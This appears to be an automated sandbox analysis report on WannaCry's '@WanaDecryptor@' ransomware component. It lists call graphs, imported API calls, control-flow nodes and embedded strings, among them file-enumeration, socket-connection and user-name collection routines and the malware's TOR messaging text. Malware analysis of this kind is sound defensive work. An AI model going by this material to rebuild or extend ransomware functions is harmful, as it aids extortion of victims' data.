5100->5101 5102 410a50 SetFilePointer SetFilePointer 5100->5102 5101->5059 5103 411e3e 5102->5103 5104 411e45 5103->5104 5105 411e56 #823 5103->5105 5104->5059 5106 410af0 ReadFile 5105->5106 5107 411e78 5106->5107 5108 411e83 #825 5107->5108 5109 411e9d _mbsstr 5107->5109 5108->5059 5111 411f15 _mbsstr 5109->5111 5111->5109 5112 411f2c _mbsstr 5111->5112 5112->5109 5113 411f43 _mbsstr 5112->5113 5113->5109 5114 411f5a 5113->5114 5115 411b80 SystemTimeToFileTime 5114->5115 5116 412063 LocalFileTimeToFileTime 5115->5116 5119 4120b6 5116->5119 5117 412203 5117->5059 5118 4121fa #825 5118->5117 5119->5117 5119->5118 5121 4129a3 5120->5121 5122 412998 5120->5122 5123 4129a8 5121->5123 5124 412360 28 API calls 5121->5124 5122->5062 5123->5062 5125 4129cf 5124->5125 5125->5062 5127 4127b1 5126->5127 5128 4127a9 5126->5128 5130 4127c7 5127->5130 5131 410f70 CloseHandle #825 free free free 5127->5131 5129 411ac0 free free 5128->5129 5129->5127 5130->5069 5130->5070 5130->5071 5131->5130 5134 40d8ec 5132->5134 5133 40daad closesocket 5135 40baa8 5133->5135 5134->5133 5134->5135 5135->4924 5137 40c9f6 #823 5136->5137 5141 40ca40 5137->5141 5139 40ca81 5139->4987 5140 40ca87 #825 5140->5139 5141->5139 5141->5140 5143 40cbf3 5142->5143 5144 40cb00 5142->5144 5143->4994 5145 40cb26 5144->5145 5151 40cb90 5144->5151 5146 40cb31 5145->5146 5147 40cb2c ?_Xran@std@ 5145->5147 5161 40cd80 5146->5161 5147->5146 5148 40cbe9 5150 40cc60 5 API calls 5148->5150 5150->5143 5151->5148 5153 40cbaa 5151->5153 5152 40cb38 5155 40cb6a 5152->5155 5156 40cb47 memmove 5152->5156 5154 40c7b0 #825 5153->5154 5157 40cbb3 5154->5157 5159 40cd80 4 API calls 5155->5159 5178 40cc60 5156->5178 5157->4994 5160 40cb7d 5159->5160 5160->4994 5162 40cd93 5161->5162 5163 40ce27 5161->5163 5162->5163 5164 40cdd0 5162->5164 5165 40cdc9 ?_Xlen@std@ 5162->5165 5163->5152 5166 40cdf8 5164->5166 5169 40cde2 5164->5169 5165->5164 5167 40ce0a 5166->5167 5168 40cdfc 5166->5168 5167->5163 5174 40c7b0 #825 5167->5174 5170 40c7b0 #825 5168->5170 5171 40cde6 5169->5171 5172 40ce1f 5169->5172 5173 40ce05 5170->5173 5175 40c7b0 #825 5171->5175 5176 40c9c0 2 API calls 5172->5176 5173->5152 5174->5172 5177 40cdf3 5175->5177 5176->5163 5177->5152 5179 40cc73 5178->5179 5180 40cc6e ?_Xlen@std@ 5178->5180 5181 40cd04 5179->5181 5182 40cc88 5179->5182 5183 40ccae 5179->5183 5180->5179 5181->5182 5188 40cd08 5181->5188 5184 40cc90 5182->5184 5187 40c9c0 2 API calls 5182->5187 5186 40ccd9 #825 5183->5186 5190 40ccc4 5183->5190 5184->5155 5185 40cd4c 5191 40c9c0 2 API calls 5185->5191 5186->5190 5187->5184 5188->5184 5188->5185 5189 40cd43 #825 5188->5189 5192 40cd26 5188->5192 5189->5185 5190->5155 5193 40cd5d 5191->5193 5194 40c9c0 2 API calls 5192->5194 5193->5155 5195 40cd3b 5194->5195 5195->5155 5196->4958 5197->4958 5199 412af5 5198->5199 5200 412ac8 free 5198->5200 5199->4914 5200->5199 5202->4732 5204 40c50f 5203->5204 5205 40bed0 110 API calls 5204->5205 5206 40c54b 5205->5206 5207 40c596 5206->5207 5208 40dd00 4 API calls 5206->5208 5209 40dbf0 free 5207->5209 5211 40c568 5208->5211 5210 40c5e7 5209->5210 5210->4734 5211->5207 5212 40c600 5211->5212 5213 40c635 5212->5213 5214 40c617 strncpy 5212->5214 5215 40dbf0 free 5213->5215 5214->5213 5216 40c650 5215->5216 5216->4734 5218 4076d9 time 5217->5218 5220 4076d7 5218->5220 5219 407771 sprintf 5219->5220 5220->5218 5220->5219 5221 405180 4 API calls 5220->5221 5222 407842 SendMessageA SendMessageA #540 5220->5222 5221->5220 5223 407894 5222->5223 5224 4078aa _ftol #2818 #2818 5223->5224 5225 4078db #2818 #2818 5223->5225 5226 407911 #3092 #6199 5224->5226 5225->5226 5227 407990 #800 5226->5227 5228 407940 5226->5228 5227->4758 5228->5227 5229 407952 InvalidateRect 5228->5229 5230 405920 2 API calls 5229->5230 5231 407978 5230->5231 5232 405920 2 API calls 5231->5232 5232->5227 5233->4784 5234->4786 5235->4788 5259 4044c0 5236->5259 5239 404210 #858 #800 5239->4792 5263 405950 InvalidateRect 5240->5263 5242 40592d 5264 405970 InvalidateRect 5242->5264 5244 40593e 5245 405860 5244->5245 5246 405872 5245->5246 5247 405875 GetClientRect #6197 5245->5247 5246->5247 5247->4797 5249 4058d2 5248->5249 5250 4058d5 GetClientRect #6197 5248->5250 5249->5250 5250->4799 5252 4051f8 5251->5252 5253 40519e #860 5251->5253 5252->4801 5254 4051b1 5253->5254 5255 4051d1 RedrawWindow 5254->5255 5256 4051ea InvalidateRect 5254->5256 5255->4801 5256->5252 5257->4811 5258->4813 5260 4044f8 GetObjectA CreateFontIndirectA #1641 5259->5260 5261 4044ce GetParent #2864 SendMessageA #2860 5259->5261 5262 40427a #2818 #535 5260->5262 5261->5260 5261->5262 5262->5239 5263->5242 5264->5244 5266 406b88 #537 #924 sprintf #800 #800 5265->5266 5267 406bda 5265->5267 5266->5267 5270 406cf0 5267->5270 5269 406be6 #800 5269->4822 5271 406d16 5270->5271 5272 406d19 SendMessageA #353 SendMessageA #1979 5270->5272 5271->5272 5275 406dc0 SendMessageA #823 5272->5275 5276 406e00 SendMessageA 5275->5276 5277 406d7b #665 5275->5277 5279 406ed2 #825 5276->5279 5280 406e2f _strnicmp 5276->5280 5277->5269 5279->5277 5281 406e4b _strnicmp 5280->5281 5282 406e67 5280->5282 5281->5282 5282->5279 5282->5280 5283 406e87 SendMessageA #6136 5282->5283 5283->5282 5822 404cd0 5827 404cf0 #2414 #2414 #800 #641 5822->5827 5824 404cd8 5825 404ce8 5824->5825 5826 404cdf #825 5824->5826 5826->5825 5827->5824 5386 40bed0 5387 40bef5 5386->5387 5388 40bf0a #823 5386->5388 5387->5388 5389 40bf2e 5388->5389 5390 40bf27 5388->5390 5392 40bf46 5389->5392 5393 40baf0 99 API calls 5389->5393 5391 40d5e0 4 API calls 5390->5391 5391->5389 5394 40bf6b 5393->5394 5395 40bf72 5394->5395 5396 40bf8a GetComputerNameA GetUserNameA 5394->5396 5397 40dc00 4 API calls 5396->5397 5398 40c013 5397->5398 5399 40dd00 4 API calls 5398->5399 5400 40c01f 5399->5400 5401 40dc00 4 API calls 5400->5401 5402 40c038 5401->5402 5403 40dd00 4 API calls 5402->5403 5404 40c047 5403->5404 6051 4019d0 EnableWindow 6052 4059d0 #561 6053 404dd0 6 API calls 6054 404e3b SendMessageA #3092 6053->6054 6056 404e60 SendMessageA #3092 6054->6056 6058 404e93 SendMessageA 6056->6058 6059 404e7f SendMessageA 6056->6059 6451 40dbd0 6452 40dbf0 free 6451->6452 6453 40dbd8 6452->6453 6454 40dbe8 6453->6454 6455 40dbdf #825 6453->6455 6455->6454 5427 4102d0 free 5828 4130d4 ??1type_info@@UAE 5829 4130e3 #825 5828->5829 5830 4130ea 5828->5830 5829->5830 5831 4068e0 5832 4068ef 5831->5832 5833 40691a #5280 5832->5833 5834 4068fc 5832->5834 5835 40a0e0 Escape 5425 4043e0 #4284 #3874 #5277 6277 4086e0 #470 GetClientRect SendMessageA #6734 #323 6278 408765 6277->6278 6279 408838 6278->6279 6282 4087bd CreateCompatibleDC #1640 6278->6282 6280 408885 #2754 6279->6280 6281 408869 FillRect 6279->6281 6283 408897 #2381 6280->6283 6281->6283 6309 409e70 CreateCompatibleBitmap #1641 6282->6309 6286 4088b4 6283->6286 6287 408a7d 6283->6287 6286->6287 6289 4088be #3797 6286->6289 6291 409f80 BitBlt 6287->6291 6305 408a5e 6287->6305 6288 408809 6310 409f10 6288->6310 6292 408901 _ftol 6289->6292 6294 408abe 6291->6294 6299 40895e _ftol 6292->6299 6301 40897e 6292->6301 6293 408817 #6194 6293->6279 6296 408ad5 #5785 6294->6296 6297 408ac6 #5785 6294->6297 6296->6305 6297->6305 6299->6301 6300 408afe #640 #755 6302 4089a7 FillRect 6301->6302 6303 4089b8 FillRect 6301->6303 6304 4089ca 6301->6304 6302->6304 6303->6304 6304->6305 6313 409f80 6304->6313 6316 409e20 #2414 6305->6316 6307 408a50 6308 409f10 2 API calls 6307->6308 6308->6305 6309->6288 6311 409f25 #5785 6310->6311 6312 409f18 #5785 6310->6312 6311->6293 6312->6293 6314 409f88 6313->6314 6315 409f8b BitBlt 6313->6315 6314->6315 6315->6307 6316->6300 6317 40c6e0 6318 40c722 #825 6317->6318 6319 40c6ef 6317->6319 6320 40c7b0 #825 6319->6320 6321 40c70d #825 6320->6321 6321->6319 6322 40c721 6321->6322 6322->6318 6469 40cfe0 6476 40d4c0 6469->6476 6471 40cffb 6472 40d4c0 4 API calls 6471->6472 6475 40d05e 6471->6475 6473 40d031 6472->6473 6474 40d4c0 4 API calls 6473->6474 6473->6475 6474->6475 6477 40d4d0 6476->6477 6478 40d4d9 6476->6478 6477->6471 6479 40d4e4 6478->6479 6480 40d4ee time 6478->6480 6479->6471 6481 40d575 6480->6481 6484 40d50a 6480->6484 6482 40d58a 6481->6482 6483 40d2b0 memmove 6481->6483 6482->6471 6483->6482 6484->6481 6485 40d569 time 6484->6485 6486 40d551 Sleep 6484->6486 6485->6481 6485->6484 6486->6484 6460 404fe0 #6334 6461 404ff4 #4853 6460->6461 6462 404ffb 6460->6462 6461->6462 6072 405df0 6077 405d90 #654 #765 6072->6077 6074 405df8 6075 405e08 6074->6075 6076 405dff #825 6074->6076 6076->6075 6077->6074 5836 4090f0 5837 409124 #540 #3874 5836->5837 5838 40971e 5836->5838 5839 409185 5837->5839 5840 40915e 5837->5840 5842 40919c _ftol 5839->5842 5843 40918e #860 5839->5843 5841 40917c 5840->5841 5844 40916e #860 5840->5844 5845 4091d5 SendMessageA #2860 5841->5845 5846 40970a #800 5841->5846 5842->5841 5843->5842 5844->5841 5847 409208 5845->5847 5846->5838 5862 409870 5847->5862 5849 409232 #5875 #6170 GetWindowOrgEx #540 #2818 5851 409329 GetObjectA 5849->5851 5852 40935b GetTextExtentPoint32A 5849->5852 5851->5852 5854 40938b GetViewportOrgEx 5852->5854 5858 409411 5854->5858 5855 409630 #800 5856 409662 5855->5856 5857 40965a #6170 5855->5857 5859 409685 #2414 #2414 5856->5859 5860 40967d #5875 5856->5860 5857->5856 5858->5855 5859->5846 5860->5859 5863 409880 #2414 5862->5863 5863->5849 6323 406ef0 6324 406f03 #823 6323->6324 6325 406f6a 6323->6325 6324->6325 6326 406f25 SendMessageA ShellExecuteA #825 6324->6326 6326->6325 6061 4011f0 6062 40120b #5280 6061->6062 6063 4011fd 6061->6063 6063->6062 6064 401203 6063->6064 6065 4019f0 #765 6066 401a08 6065->6066 6067 4019ff #825 6065->6067 6067->6066 6068 4059f0 6069 4059f8 6068->6069 6070 405a08 6069->6070 6071 4059ff #825 6069->6071 6071->6070 6487 4067f0 IsIconic 6488 406808 7 API calls 6487->6488 6489 40689a #2379 6487->6489 6490 409ff0 ExtTextOutA 5871 405080 5876 4050a0 #800 #795 5871->5876 5873 405088 5874 405098 5873->5874 5875 40508f #825 5873->5875 5875->5874 5876->5873 5865 40d880 5868 40d0a0 time srand rand 5865->5868 5867 40d88f 5869 40d0e1 5868->5869 5870 40d0d3 rand 5868->5870 5869->5867 5870->5869 5870->5870 6078 403180 6083 4031a0 #2414 #2414 #616 #693 #641 6078->6083 6080 403188 6081 403198 6080->6081 6082 40318f #825 6080->6082 6082->6081 6083->6080 6084 405580 GetClientRect 6085 4055c7 7 API calls 6084->6085 6086 4057c9 6084->6086 6087 405666 6085->6087 6088 405669 #5785 CreateSolidBrush FillRect 6085->6088 6087->6088 6089 405770 6 API calls 6088->6089 6092 4056b2 6088->6092 6089->6086 6091 4056cd BitBlt 6091->6092 6092->6089 6092->6091 6093 408580 #609 6094 408598 6093->6094 6095 40858f #825 6093->6095 6095->6094 6328 404280 6329 404290 6328->6329 6330 40428b 6328->6330 6332 4042a0 #6663 6329->6332 6333 4042fd #2379 6329->6333 6331 404530 5 API calls 6330->6331 6331->6329 6334 4042b5 GetParent #2864 SendMessageA #2379 6332->6334 6335 4042e7 ShellExecuteA 6332->6335 6335->6333 6491 406380 6496 405e10 #2414 #2414 #2414 #2414 6491->6496 6493 406388 6494 406398 6493->6494 6495 40638f #825 6493->6495 6495->6494 6525 403f20 #2414 6496->6525 6498 405ed6 6526 403f20 #2414 6498->6526 6500 405eec 6527 403f20 #2414 6500->6527 6502 405f02 6528 403f20 #2414 6502->6528 6504 405f18 #2414 6529 403f20 #2414 6504->6529 6506 405f50 6530 403f20 #2414 6506->6530 6508 405f66 6531 403f20 #2414 6508->6531 6510 405f7c 6 API calls 6532 4050a0 #800 #795 6510->6532 6512 405ffe 6533 4050a0 #800 #795 6512->6533 6514 40600e 6534 404170 #2414 #800 #800 #795 6514->6534 6516 40601e 6535 404170 #2414 #800 #800 #795 6516->6535 6518 40602e 6536 404170 #2414 #800 #800 #795 6518->6536 6520 40603e 6537 404170 #2414 #800 #800 #795 6520->6537 6522 40604e #654 #765 6538 405d90 #654 #765 6522->6538 6524 406087 #609 #609 #616 #641 6524->6493 6525->6498 6526->6500 6527->6502 6528->6504 6529->6506 6530->6508 6531->6510 6532->6512 6533->6514 6534->6516 6535->6518 6536->6520 6537->6522 6538->6524 6539 409b80 6540 409b99 6539->6540 6541 409ba5 #2379 6540->6541 6542 409b9d 6540->6542 6543 40db80 recv 5405 407a90 5406 407bf4 #2385 5405->5406 5407 407abd 5405->5407 5407->5406 5414 404c40 #324 #540 #860 5407->5414 5409 407ae2 #2514 5410 407b72 #2414 #2414 #800 #641 5409->5410 5411 407afb 6 API calls 5409->5411 5410->5406 5412 4082c0 141 API calls 5411->5412 5413 407b61 #800 5412->5413 5413->5410 5414->5409 6096 404d90 #2370 #2289 5877 401091 5882 4010c0 #765 #641 5877->5882 5879 4010a8 5880 4010b8 5879->5880 5881 4010af #825 5879->5881 5881->5880 5882->5879 6336 414290 #825 5883 4098a0 5888 4097e0 5883->5888 5885 4098a8 5886 4098b8 5885->5886 5887 4098af #825 5885->5887 5887->5886 5889 409815 5888->5889 5890 40981e #2414 #2414 5888->5890 5889->5890 5890->5885 5891 40a0a0 5892 40a0a8 5891->5892 5893 40a0ab GrayStringA 5891->5893 5892->5893 5415 40d6a0 htons socket 5416 40d6f3 bind 5415->5416 5417 40d814 5415->5417 5418 40d717 ioctlsocket 5416->5418 5419 40d809 5416->5419 5418->5419 5420 40d732 connect select 5418->5420 5419->5417 5421 40d80d closesocket 5419->5421 5420->5419 5422 40d78b __WSAFDIsSet 5420->5422 5421->5417 5423 40d79a __WSAFDIsSet 5422->5423 5424 40d7ac ioctlsocket setsockopt setsockopt 5422->5424 5423->5419 5423->5424 6343 40c6a0 6344 40c6b8 6343->6344 6345 40c6aa 6343->6345 6345->6344 6346 40c6be #825 6345->6346 6346->6344 5426 4063a0 15 API calls 6115 4085a0 #781 6116 4085b8 6115->6116 6117 4085af #825 6115->6117 6117->6116 5900 4034a0 6 API calls 6101 4035a0 SendMessageA 6102 4035e5 OpenClipboard 6101->6102 6103 4037e9 6101->6103 6102->6103 6104 4035f7 SendMessageA 6102->6104 6105 403681 GlobalAlloc 6104->6105 6106 40360f #3301 #924 #800 #800 SendMessageA 6104->6106 6107 4037e3 CloseClipboard 6105->6107 6108 40369b GlobalLock 6105->6108 6106->6105 6106->6106 6107->6103 6109 4036b6 SendMessageA 6108->6109 6110 4036aa GlobalFree 6108->6110 6111 4037c3 GlobalUnlock EmptyClipboard SetClipboardData 6109->6111 6112 4036d6 8 API calls 6109->6112 6110->6107 6111->6107 6114 4037bf 6112->6114 6114->6111 6347 404aa3 6348 404ab1 6347->6348 6349 404aaa GlobalFree 6347->6349 6350 404ac0 6348->6350 6351 404ab9 CloseHandle 6348->6351 6349->6348 6351->6350 5901 407cb0 5904 4030e0 #324 #567 #567 5901->5904 5903 407cd6 6 API calls 5904->5903 6118 407db0 6125 401000 #324 #567 6118->6125 6120 407dd7 time 6121 407e09 #2514 6120->6121 6122 407dfe 6120->6122 6123 407e34 #765 #641 6121->6123 6124 407e28 time 6121->6124 6122->6121 6124->6123 6125->6120 6352 40ceb0 6353 40cebc 6352->6353 6354 4130bb 2 API calls 6353->6354 6355 40ceda 6354->6355 5428 4102b0 calloc

                                        Executed Functions

                                        Function 004080C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 143fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 190 4080c0-40811e FindFirstFileA 191 408124-40812a 190->191 192 40820a-40828f call 401e30 * 2 sprintf #537 call 4082c0 190->192 194 408130-408138 191->194 210 408291-4082a9 #537 call 4082c0 192->210 211 4082ae-4082b8 192->211 196 4081e4-4081f9 FindNextFileA 194->196 197 40813e-408152 194->197 196->194 198 4081ff-408206 FindClose 196->198 197->196 200 408158-408176 sscanf 197->200 198->192 200->196 202 408178-40818e fopen 200->202 202->196 204 408190-4081a8 fread 202->204 206 4081aa-4081b7 204->206 207 4081bd-4081d0 fclose 204->207 206->207 208 4081b9 206->208 207->196 209 4081d2-4081e2 207->209 208->207 209->196 210->211
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Find$#537File$CloseFirstNextfclosefopenfreadsprintfsscanf
                                        • String ID: %08X.res$*.res$---%s%s%d%I64d%d
                                        • API String ID: 1530363904-2310201135
                                        • Opcode ID: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                        • Instruction ID: f4d275e2d06bc6c2fe64a46714bc06f3fac9236f3415a442fab0096444624429
                                        • Opcode Fuzzy Hash: 246f558812f6a4b1f5d00500c0ea839226a98d7eebb8d8b9e36566a9c1167d01
                                        • Instruction Fuzzy Hash: F051B370604740ABD634CB24DD45BEF77E9EFC4314F00492EF98897291DB78AA098B9A
                                        Function 0040D6A0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120networkCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 213 40d6a0-40d6ed htons socket 214 40d6f3-40d711 bind 213->214 215 40d814-40d821 213->215 216 40d717-40d72c ioctlsocket 214->216 217 40d809-40d80b 214->217 216->217 218 40d732-40d789 connect select 216->218 217->215 219 40d80d-40d80e closesocket 217->219 218->217 220 40d78b-40d798 __WSAFDIsSet 218->220 219->215 221 40d79a-40d7aa __WSAFDIsSet 220->221 222 40d7ac-40d806 ioctlsocket setsockopt * 2 220->222 221->217 221->222
                                        APIs
                                        • htons.WS2_32 ref: 0040D6C7
                                        • socket.WS2_32(00000002,00000001,00000006), ref: 0040D6E1
                                        • bind.WS2_32(00000000,?,00000010), ref: 0040D709
                                        • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D728
                                        • connect.WS2_32(00000000,?,00000010), ref: 0040D73A
                                        • select.WS2_32(00000001,?,?,00000000,00000001), ref: 0040D781
                                        • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D791
                                        • __WSAFDIsSet.WS2_32(00000000,?), ref: 0040D7A3
                                        • ioctlsocket.WS2_32(00000000,8004667E,?), ref: 0040D7BB
                                        • setsockopt.WS2_32(00000000), ref: 0040D7DD
                                        • setsockopt.WS2_32(00000000,0000FFFF,00001005,?,00000004), ref: 0040D7F1
                                        • closesocket.WS2_32(00000000), ref: 0040D80E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ioctlsocketsetsockopt$bindclosesocketconnecthtonsselectsocket
                                        • String ID: `
                                        • API String ID: 478405425-1850852036
                                        • Opcode ID: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                        • Instruction ID: 6de462713d41b41c0891f3cf9d152f402d0f08cb5dc9382bbec9442f00cca922
                                        • Opcode Fuzzy Hash: 207a0d99be8aa74ddfaa5851ea6aa8d1a80ed73a610e947c43882b9ed202ce50
                                        • Instruction Fuzzy Hash: 83418372504341AED320DF55DC84EEFB7E8EFC8714F40892EF558D6290E7B495088BAA
                                        Function 00411CF0 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 450COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 224 411cf0-411d0b 225 412231-41223f 224->225 226 411d11-411d16 224->226 226->225 227 411d1c-411d1f 226->227 228 411d21-411d27 call 411ac0 227->228 229 411d2a-411d35 227->229 228->229 231 411d37-411d39 229->231 232 411d5a-411d5c 229->232 234 411d3b-411d57 231->234 235 411d5e-411db2 231->235 232->235 236 411db5-411dba 232->236 237 411dc5-411dca 236->237 238 411dbc-411dc2 call 411390 236->238 239 411ddc-411e1a call 411350 call 411460 237->239 240 411dcc-411dda call 4113e0 237->240 238->237 249 411e2d-411e43 call 410a50 239->249 250 411e1c-411e2a 239->250 240->239 253 411e45-411e53 249->253 254 411e56-411e73 #823 call 410af0 249->254 256 411e78-411e81 254->256 257 411e83-411e9a #825 256->257 258 411e9d-411ed9 256->258 259 411ee0-411ee4 258->259 260 411ef0-411ef2 259->260 261 411ee6-411ee9 259->261 263 411ef4-411ef5 260->263 264 411ef7-411ef9 260->264 261->260 262 411eeb-411eee 261->262 262->259 263->259 265 411efb-411efc 264->265 266 411efe-411f0e _mbsstr 264->266 265->259 267 411f10-411f13 266->267 268 411f15-411f25 _mbsstr 266->268 267->259 269 411f27-411f2a 268->269 270 411f2c-411f3c _mbsstr 268->270 269->259 271 411f43-411f53 _mbsstr 270->271 272 411f3e-411f41 270->272 273 411f55-411f58 271->273 274 411f5a-411fa2 271->274 272->259 273->259 275 411fb3-411fda 274->275 276 411fa4-411fa7 274->276 278 411fdc-411fe6 275->278 276->275 277 411fa9-411fac 276->277 277->275 279 411fae-411fb1 277->279 280 411ff2-411ff4 278->280 281 411fe8 278->281 279->275 279->278 282 412004-41200a 280->282 283 411ff6-411ffe 280->283 281->280 284 41201a-41201c 282->284 285 41200c-412014 282->285 283->282 286 41202c-412037 284->286 287 41201e-412026 284->287 285->284 288 412039 286->288 289 41203f-4120b0 call 411b80 LocalFileTimeToFileTime 286->289 287->286 288->289 292 4121f2 289->292 293 4120b6-4120ba 289->293 295 4121f6-4121f8 292->295 294 4120bf-4120d3 293->294 296 4120d7-4120dd 294->296 297 412203-41222e 295->297 298 4121fa-412200 #825 295->298 299 4120fb-4120fd 296->299 300 4120df-4120e1 296->300 298->297 303 412100-412102 299->303 301 4120e3-4120eb 300->301 302 4120f7-4120f9 300->302 301->299 304 4120ed-4120f5 301->304 302->303 305 412104-412117 303->305 306 41211e-41213c 303->306 304->296 304->302 305->294 309 412119 305->309 307 412179-41217b 306->307 308 41213e-412173 call 411b50 306->308 311 4121b8-4121ba 307->311 312 41217d-4121b2 call 411b50 307->312 308->307 309->295 311->295 315 4121bc-4121f0 call 411b50 311->315 312->311 315->295
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID: /../$/..\$\../$\..\
                                        • API String ID: 0-3885502717
                                        • Opcode ID: 7d6ef6a52ff4410ad19eb11cd9c330808c5283bc933d9f5bd631f0e03c4a71b4
                                        • Instruction ID: 7e1d0207c54717434a39a3e8c1400c014a600b9e0d7efc558eb6bad2cf7342ef
                                        • Opcode Fuzzy Hash: 7d6ef6a52ff4410ad19eb11cd9c330808c5283bc933d9f5bd631f0e03c4a71b4
                                        • Instruction Fuzzy Hash: FAF138756043414FC724CF2888817EBBBE1ABD8304F18892EEDD9CB351D679E989C799
                                        Function 004082C0 Relevance: 47.4, APIs: 21, Strings: 6, Instructions: 181fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • #4278.MFC42(000003E8,00000000,000003E8,?,?,76A25C80), ref: 0040830D
                                        • #858.MFC42 ref: 00408322
                                        • #800.MFC42 ref: 00408332
                                        • #1200.MFC42(Too short message!,00000000,00000000,?,?,76A25C80), ref: 00408354
                                        • #800.MFC42 ref: 0040836B
                                        • time.MSVCRT ref: 0040837F
                                        • #540.MFC42 ref: 004083C8
                                        • time.MSVCRT ref: 004083D6
                                        • #2818.MFC42(?,You are sending too many mails! Please try again %d minutes later.,0000003D,00000000), ref: 0040840A
                                        • #1200.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408419
                                        • #800.MFC42(?,00000000,00000000,?,?,?,00000000), ref: 00408429
                                        • #800.MFC42 ref: 00408440
                                        • time.MSVCRT ref: 0040844E
                                        • fopen.MSVCRT ref: 00408487
                                        • #800.MFC42 ref: 004084A8
                                        • fread.MSVCRT ref: 004084C2
                                        • fclose.MSVCRT ref: 004084C9
                                        • #1200.MFC42(Your message has been sent successfully!,00000040,00000000), ref: 00408522
                                        • time.MSVCRT ref: 00408528
                                        • #1200.MFC42(Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!,00000030,00000000), ref: 00408544
                                        • #800.MFC42 ref: 0040855B
                                        Strings
                                        • 00000000.res, xrefs: 00408480
                                        • Your message has been sent successfully!, xrefs: 0040851D
                                        • You are sending too many mails! Please try again %d minutes later., xrefs: 00408404
                                        • Too short message!, xrefs: 0040834F
                                        • Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!, xrefs: 0040853F
                                        • s.wnry, xrefs: 004084DD
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #800$#1200time$#2818#4278#540#858fclosefopenfread
                                        • String ID: 00000000.res$Failed to send your message!Please make sure that your computer is connected to the Internet and your Internet Service Provider (ISP) does not block connections to the TOR Network!$Too short message!$You are sending too many mails! Please try again %d minutes later.$Your message has been sent successfully!$s.wnry
                                        • API String ID: 1233543560-382338106
                                        • Opcode ID: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
                                        • Instruction ID: 9ef4e74ff6f5855000ff98dc085b89da37e67c7abdef0d08bf307c22ead08a72
                                        • Opcode Fuzzy Hash: 6aef2977620d67d742a0f30d3b6c329b2d4c4f80cce0edf1bcad665571c82898
